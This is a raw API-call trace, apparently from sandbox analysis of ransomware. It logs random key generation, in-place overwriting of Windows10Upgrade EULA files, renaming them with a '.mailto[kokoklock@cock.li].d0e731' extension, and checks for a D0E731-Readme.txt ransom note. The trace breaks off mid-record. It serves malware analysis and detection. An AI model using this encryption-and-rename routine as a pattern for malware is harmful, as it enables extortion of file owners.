[0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x57252b05 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x668d5f6a [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x2be8b352 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x57f562a7 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0xa47a9026 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0xd2c63b88 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x7399c317 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x934f2d06 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x8c8d53b0 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x5c706563 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x4b05d58e [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0xad51e388 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0xec3c94fc [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x8042c8c [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x2e9a45f9 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x7a28d10a [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x21b993f8 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x438647c [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0xc7da4c07 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0xa5f6fa72 [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0xeb78fe4e [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0xe1f271dd [0080.605] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x3ed17071 [0080.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0080.616] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.616] ReadFile (in: hFile=0x52c, lpBuffer=0x34b2420, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesRead=0x24c3fc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.704] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342deb0 [0080.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.705] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24c3fc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.705] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.705] ReadFile (in: hFile=0x52c, lpBuffer=0x34b2420, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesRead=0x24c3fc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.738] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dfc8 [0080.738] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dfc8) returned 1 [0080.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df78 [0080.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd70 [0080.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd70) returned 1 [0080.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.739] WriteFile (in: hFile=0x52c, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x24c3fc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.739] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x41436, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.739] ReadFile (in: hFile=0x52c, lpBuffer=0x34b2420, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesRead=0x24c3fc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.740] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x41436, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.740] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc30 [0080.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dc30) returned 1 [0080.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.741] WriteFile (in: hFile=0x52c, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x24c3fc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.741] WriteFile (in: hFile=0x52c, lpBuffer=0x342deb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24c3fcf8, lpOverlapped=0x0 | out: lpBuffer=0x342deb0*, lpNumberOfBytesWritten=0x24c3fcf8*=0x20, lpOverlapped=0x0) returned 1 [0080.741] WriteFile (in: hFile=0x52c, lpBuffer=0x342df78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24c3fcf8, lpOverlapped=0x0 | out: lpBuffer=0x342df78*, lpNumberOfBytesWritten=0x24c3fcf8*=0x20, lpOverlapped=0x0) returned 1 [0080.741] WriteFile (in: hFile=0x52c, lpBuffer=0x342dd48*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24c3fcf8, lpOverlapped=0x0 | out: lpBuffer=0x342dd48*, lpNumberOfBytesWritten=0x24c3fcf8*=0x20, lpOverlapped=0x0) returned 1 [0080.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0080.745] WriteFile (in: hFile=0x52c, lpBuffer=0x3491da8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24c3fd00, lpOverlapped=0x0 | out: lpBuffer=0x3491da8*, lpNumberOfBytesWritten=0x24c3fd00*=0x8, lpOverlapped=0x0) returned 1 [0080.745] WriteFile (in: hFile=0x52c, lpBuffer=0x24c3fd18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24c3fd00, lpOverlapped=0x0 | out: lpBuffer=0x24c3fd18*, lpNumberOfBytesWritten=0x24c3fd00*=0x4, lpOverlapped=0x0) returned 1 [0080.745] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24c3fd00, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24c3fd00*=0x4, lpOverlapped=0x0) returned 1 [0080.745] WriteFile (in: hFile=0x52c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24c3fd00, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24c3fd00*=0x6c, lpOverlapped=0x0) returned 1 [0080.745] WriteFile (in: hFile=0x52c, lpBuffer=0x3491880*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24c3fd00, lpOverlapped=0x0 | out: lpBuffer=0x3491880*, lpNumberOfBytesWritten=0x24c3fd00*=0x20, lpOverlapped=0x0) returned 1 [0080.745] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24c3fd00, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24c3fd00*=0x4, lpOverlapped=0x0) returned 1 [0080.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491880) returned 1 [0080.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ee8) returned 1 [0080.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491da8) returned 1 [0080.745] CloseHandle (hObject=0x52c) returned 1 [0080.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.745] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" [0080.745] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731" [0080.746] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.746] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.746] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm", dwFileAttributes=0x20) returned 0 [0080.746] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.746] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.746] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.747] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34800c0) returned 1 [0080.747] RtlExitUserThread (Status=0x1) Thread: id = 1023 os_tid = 0x1700 [0080.584] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm")) returned 0x20 [0080.585] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm", dwFileAttributes=0x20) returned 1 [0080.585] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0080.585] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x24cbfeb8 | out: lpFileSize=0x24cbfeb8*=81953) returned 1 [0080.585] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x1401d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.585] ReadFile (in: hFile=0x634, lpBuffer=0x24cbfe8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24cbfe88, lpOverlapped=0x0 | out: lpBuffer=0x24cbfe8c*, lpNumberOfBytesRead=0x24cbfe88*=0x4, lpOverlapped=0x0) returned 1 [0080.656] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df00 [0080.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dcd0 [0080.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc80 [0080.656] NtQuerySystemTime (in: CurrentTime=0x24cbfe64 | out: CurrentTime=0x24cbfe64*=132121176385528539) returned 0x0 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xf18f24b3 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xc453511f [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x50e40b98 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x88cfa288 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xa5350fc8 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x86dd1195 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x8467ce4 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xd8a0ff51 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x823de7a6 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x95bf9e4d [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xbcccd865 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x8a3a24d3 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x7ee82b47 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xe25e9b3c [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xf642fe12 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xc3c406d [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xaeeabda6 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x5dbc4250 [0080.656] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xc173dde4 [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xe489fb53 [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x3b2412d2 [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x53017be [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xe7798f55 [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x90c3d503 [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x9863bc1f [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x5f0bfe59 [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x8654f265 [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x6c6f26bc [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x86f601fc [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xcf517362 [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0xaec2a97d [0080.657] RtlRandom (in: Seed=0x24cbfe70 | out: Seed=0x24cbfe70) returned 0x5b8746c1 [0080.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df00) returned 1 [0080.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8190 [0080.668] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.668] ReadFile (in: hFile=0x634, lpBuffer=0x55d8190, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24cbfe3c, lpOverlapped=0x0 | out: lpBuffer=0x55d8190*, lpNumberOfBytesRead=0x24cbfe3c*=0x4096, lpOverlapped=0x0) returned 1 [0080.721] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ded8 [0080.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.723] WriteFile (in: hFile=0x634, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24cbfe3c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24cbfe3c*=0x4096, lpOverlapped=0x0) returned 1 [0080.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.723] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x14021, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.723] WriteFile (in: hFile=0x634, lpBuffer=0x342ded8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24cbfe74, lpOverlapped=0x0 | out: lpBuffer=0x342ded8*, lpNumberOfBytesWritten=0x24cbfe74*=0x20, lpOverlapped=0x0) returned 1 [0080.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ded8) returned 1 [0080.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8190) returned 1 [0080.724] WriteFile (in: hFile=0x634, lpBuffer=0x342e0b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24cbfe88, lpOverlapped=0x0 | out: lpBuffer=0x342e0b8*, lpNumberOfBytesWritten=0x24cbfe88*=0x8, lpOverlapped=0x0) returned 1 [0080.724] WriteFile (in: hFile=0x634, lpBuffer=0x24cbfea0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24cbfe88, lpOverlapped=0x0 | out: lpBuffer=0x24cbfea0*, lpNumberOfBytesWritten=0x24cbfe88*=0x4, lpOverlapped=0x0) returned 1 [0080.724] WriteFile (in: hFile=0x634, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24cbfe88, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24cbfe88*=0x4, lpOverlapped=0x0) returned 1 [0080.724] WriteFile (in: hFile=0x634, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24cbfe88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24cbfe88*=0x6c, lpOverlapped=0x0) returned 1 [0080.724] WriteFile (in: hFile=0x634, lpBuffer=0x342dcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24cbfe88, lpOverlapped=0x0 | out: lpBuffer=0x342dcd0*, lpNumberOfBytesWritten=0x24cbfe88*=0x20, lpOverlapped=0x0) returned 1 [0080.725] WriteFile (in: hFile=0x634, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24cbfe88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24cbfe88*=0x4, lpOverlapped=0x0) returned 1 [0080.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dcd0) returned 1 [0080.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de38) returned 1 [0080.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0b8) returned 1 [0080.725] CloseHandle (hObject=0x634) returned 1 [0080.725] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.725] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" [0080.725] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731" [0080.725] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.725] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.726] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm", dwFileAttributes=0x20) returned 0 [0080.726] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.726] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.726] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.726] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347faa8) returned 1 [0080.726] RtlExitUserThread (Status=0x1) Thread: id = 1024 os_tid = 0x1704 [0080.586] GetFileAttributesW 